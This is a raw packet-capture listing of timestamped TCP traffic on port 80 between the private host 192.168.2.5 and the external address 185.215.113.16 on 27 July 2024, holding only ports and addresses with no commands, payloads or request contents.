Jul 27, 2024 12:02:09.063409090 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.063417912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.063426018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.063451052 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.063452005 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.063460112 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.063469887 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.063469887 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.063479900 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.063493013 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.063508034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.063534021 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.071027994 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071077108 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071088076 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071158886 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.071171045 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071180105 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071223021 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.071706057 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071749926 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.071759939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071768045 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071791887 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.071808100 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.071837902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071846962 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071855068 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.071882010 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.071907043 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.072062016 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072164059 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072177887 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072186947 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072195053 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072205067 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072206020 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.072212934 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072222948 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072231054 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.072232008 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072247028 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.072279930 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.072465897 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072474003 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072491884 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072500944 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072509050 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072516918 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072521925 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.072525024 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072532892 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.072535992 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.072557926 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.072580099 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.081577063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.081588030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.081598043 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.081646919 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.081656933 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.081664085 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.081666946 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.081677914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.081686974 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.081696987 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.081713915 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.081729889 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.084680080 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.084896088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.084935904 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.084952116 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.085063934 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.085221052 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.085258961 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.085405111 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.085413933 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.085441113 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.085463047 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.085580111 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.085990906 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.086000919 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.086009979 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.086018085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.086026907 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.086028099 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.086035967 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.086045027 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.086059093 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.086072922 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.100191116 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100369930 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100390911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100394964 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100399017 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100408077 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100416899 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100527048 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.100549936 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.100735903 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100744009 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100749016 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100756884 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100768089 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100776911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100784063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.100791931 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.100819111 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.101870060 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.101878881 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.101887941 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.101924896 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.101941109 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.102320910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.102329969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.102338076 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.102348089 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.102370024 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.102396011 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.106008053 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.106317997 CEST	49737	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.112129927 CEST	80	49737	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.112139940 CEST	80	49735	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.112234116 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.112250090 CEST	49737	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.112431049 CEST	49737	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.121234894 CEST	80	49737	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.149558067 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.149565935 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.149574995 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.149614096 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.149641037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150101900 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150150061 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150152922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150161982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150186062 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150199890 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150252104 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150259972 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150269985 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150279045 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150289059 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150298119 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150301933 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150336027 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150365114 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150372982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150381088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150409937 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150422096 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150810957 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150850058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150857925 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.150860071 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150888920 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.150902033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.151034117 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.151042938 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.151051998 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.151076078 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.151087046 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.151099920 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.151133060 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.152935028 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.152981997 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.152990103 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153004885 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153017998 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153038025 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153084040 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153094053 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153101921 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153112888 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153122902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153131008 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153160095 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153460979 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153470039 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153479099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153489113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153500080 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153511047 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153517008 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153520107 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153549910 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153568029 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153727055 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153783083 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153791904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153826952 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153835058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.153855085 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153879881 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.153964043 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.154011011 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.154045105 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.154055119 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.154092073 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.164832115 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.164877892 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.164886951 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.164931059 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.164961100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.164971113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.164982080 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.164992094 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165002108 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165004969 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165034056 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165055990 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165087938 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165097952 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165107012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165117025 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165127039 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165137053 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165164948 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165302038 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165312052 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165321112 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165329933 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165352106 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165368080 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165370941 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165380955 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165391922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165400982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165411949 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165424109 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165440083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165452957 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165591002 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165601969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165611982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165622950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165632963 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.165638924 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.165750980 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.179135084 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.179184914 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.179402113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.179474115 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.179483891 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.179495096 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.179503918 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.179512978 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.179519892 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.179549932 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.180090904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180108070 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180116892 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180126905 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180138111 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180147886 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180175066 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.180197001 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.180648088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180658102 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180668116 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180677891 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180689096 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180699110 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180704117 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.180708885 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180715084 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.180717945 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.180735111 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.180766106 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200299025 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200314045 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200325012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200335026 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200345039 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200354099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200360060 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200364113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200372934 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200382948 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200387955 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200393915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200402975 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200404882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200416088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200419903 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200424910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200434923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200437069 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200445890 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200445890 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200455904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200468063 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200494051 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200501919 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200900078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200910091 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200920105 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200928926 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.200948954 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.200973034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.251678944 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.251688957 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.251698971 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.251708031 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.251739025 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.251791000 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.251826048 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.251836061 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.251846075 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.251857042 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.251991034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.251991034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.252017975 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252028942 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252038002 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252068043 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.252085924 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.252191067 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252202034 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252211094 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252244949 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.252269983 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.252367020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252377033 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252386093 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252396107 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252404928 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252408981 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.252414942 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252427101 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.252454042 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.252505064 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252516985 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.252530098 CEST	80	49733	185.215.113.16	192.168.2.5
